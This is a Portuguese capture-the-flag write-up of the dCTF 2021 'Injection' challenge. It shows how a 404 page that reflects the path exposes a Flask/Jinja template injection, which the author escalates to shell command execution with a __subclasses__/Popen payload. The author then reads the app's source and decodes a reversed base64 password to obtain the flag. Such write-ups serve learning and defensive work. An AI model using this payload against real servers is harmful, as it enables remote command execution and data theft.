dCTF 2021: Injection
Encontrando uma SSTI em Flask/Jinja, lendo arquivos-fonte e decodificando a senha final.
Writeup original do desafio: Injection.md
URL do desafio: http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/

O site tinha um login de admin com User, Password e um campo Submit oculto.
Enviar qualquer coisa não funcionava. Ele redirecionava para /login, onde a página retornava:
Oops! Page login doesn't exist :(
Fiquei preso nesse por um tempo. Verifiquei robots.txt, tentei diretórios comuns e olhei o root path onde a imagem estava armazenada, mas não encontrei nada útil.
Eventualmente percebi que o site refletia qualquer path que eu pedisse dentro da resposta 404, até mesmo um input simples de XSS:

No começo achei que poderia ser SQL injection, o que me atrasou porque na época eu mal sabia SQLi.
Depois de ler alguns writeups de CTF com comportamento parecido, encontrei a palavra-chave que eu precisava: SSTI.
Eu já tinha lido sobre SSTI antes desse desafio, mas não fiz a conexão imediatamente.
Encontrando SSTI
Tentei isto:
http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/{{1+1}}
A resposta foi:
Oops! Page 2 doesn't exist :(
Isso confirmou que a expressão de template estava sendo avaliada.
Depois, tentei:
{{config}}
Isso retornou muitos dados, incluindo esta mensagem:
'MESSAGE': 'You are getting closer!'
A partir daí, o objetivo era transformar a SSTI em execução de comandos. O payload que acabei usando foi:
{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}
COMMAND é o comando a executar.
Rodar ls retornou:
app.py
lib
static
templates
Rodar ls lib retornou:
security.py
Então li o arquivo com cat lib/security.py:
import base64
def validate_login(username, password):
if username != 'admin':
return False
valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ'
return base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=') == valid_password
A senha estava codificada em base64, invertida e sem o padding = inicial. Para decodificá-la, inverti de volta e adicionei o padding:
base64.b64decode(password[::-1]+"==")
b'dctf{4ll_us3r_1nput_1s_3v1l}'
Isso me deu a flag.
Notas
Payloads de SSTI podem depender muito do ambiente. A maioria dos payloads que encontrei online não funcionou aqui, então precisei adaptar um.
Este artigo do Medium foi a referência mais útil que encontrei enquanto resolvia:
https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee
O payload final que usei foi:
{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}